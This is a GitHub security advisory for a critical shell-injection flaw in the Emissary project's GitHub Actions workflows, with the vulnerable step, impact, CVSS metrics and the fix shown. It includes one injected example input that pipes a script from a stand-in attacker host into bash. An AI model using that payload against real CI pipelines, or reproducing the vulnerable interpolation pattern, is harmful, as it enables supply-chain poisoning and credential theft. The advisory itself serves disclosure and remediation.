Skip to content

Emissary has GitHub Actions Shell Injection via Workflow Inputs

Critical severity GitHub Reviewed Published Apr 6, 2026 in NationalSecurityAgency/emissary • Updated Apr 8, 2026

Package

maven gov.nsa.emissary:emissary (Maven)

Affected versions

< 8.39.0

Patched versions

8.39.0

Description

Summary

Three GitHub Actions workflow files contained 10 shell injection points where
user-controlled workflow_dispatch inputs were interpolated directly into shell
commands via ${{ }} expression syntax. An attacker with repository write access
could inject arbitrary shell commands, leading to repository poisoning and supply
chain compromise affecting all downstream users.

Affected Files

Workflow file Injection points
.github/workflows/maven-version.yml 4
.github/workflows/cherrypick.yml 5
.github/workflows/maven-release.yml 1

Details

GitHub Actions ${{ }} expressions inside run: blocks are substituted before
the shell interprets the command. When a workflow_dispatch input is placed directly
in a run: block, an attacker who can trigger the workflow can break out of the
intended command and execute arbitrary code.

Example — maven-version.yml (before fix)

- name: Set the name of the branch
  run: echo "PR_BRANCH=action/${{ github.event.inputs.next_version }}" >> "$GITHUB_ENV"

A malicious input such as 1.0.0"; curl attacker.com/backdoor.sh | bash; echo "
would be interpolated directly into the shell, executing arbitrary commands with
the job's GITHUB_TOKEN permissions (contents: write, pull-requests: write).

Impact

  • Arbitrary code execution within the CI/CD runner
  • Repository modification via the contents: write token (push malicious commits)
  • Supply chain poisoning — downstream users who clone or build receive compromised code
  • Credential exfiltration from the GitHub Actions environment

Remediation

Fixed in two PRs merged into release 8.39.0:

PR #1286 — Environment variable indirection

Replaced all direct ${{ inputs.* }} interpolation in run: blocks with
environment variable indirection. Inputs are assigned to env: at the step level,
then referenced as shell variables inside run:.

# After (safe — input is never interpreted by the shell parser)
- name: Set the name of the branch
  run: echo "PR_BRANCH=action/$IN_NEXT_VERSION" >> "$GITHUB_ENV"
  env:
    IN_NEXT_VERSION: ${{ github.event.inputs.next_version }}

PR #1288 — Input validation

Added strict regex validation steps that run before any input is used:

  • maven-version.yml: Validates next_version matches ^[a-zA-Z0-9._-]+$
  • maven-release.yml: Validates release_suffix matches ^[a-zA-Z0-9._-]+$
  • cherrypick.yml: Validates commits matches ^([0-9a-f]{7,40})(\s+[0-9a-f]{7,40})*$

All jobs now also use shell: bash via defaults.run.shell to ensure consistent
shell behavior.

Workarounds

There is no workaround other than upgrading. Organizations that have forked
Emissary should apply the same environment variable indirection and input
validation patterns to their workflow files.

References

References

Published by the National Vulnerability Database Apr 7, 2026
Published to the GitHub Advisory Database Apr 8, 2026
Reviewed Apr 8, 2026
Last updated Apr 8, 2026

Severity

Critical

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
High
User interaction
None
Scope
Changed
Confidentiality
High
Integrity
High
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H

EPSS score

Exploit Prediction Scoring System (EPSS)

This score estimates the probability of this vulnerability being exploited within the next 30 days. Data provided by FIRST.
(7th percentile)

Weaknesses

Improper Neutralization of Special Elements used in a Command ('Command Injection')

The product constructs all or part of a command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended command when it is sent to a downstream component. Learn more on MITRE.

CVE ID

CVE-2026-35580

GHSA ID

GHSA-3g6g-gq4r-xjm9

Credits

Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.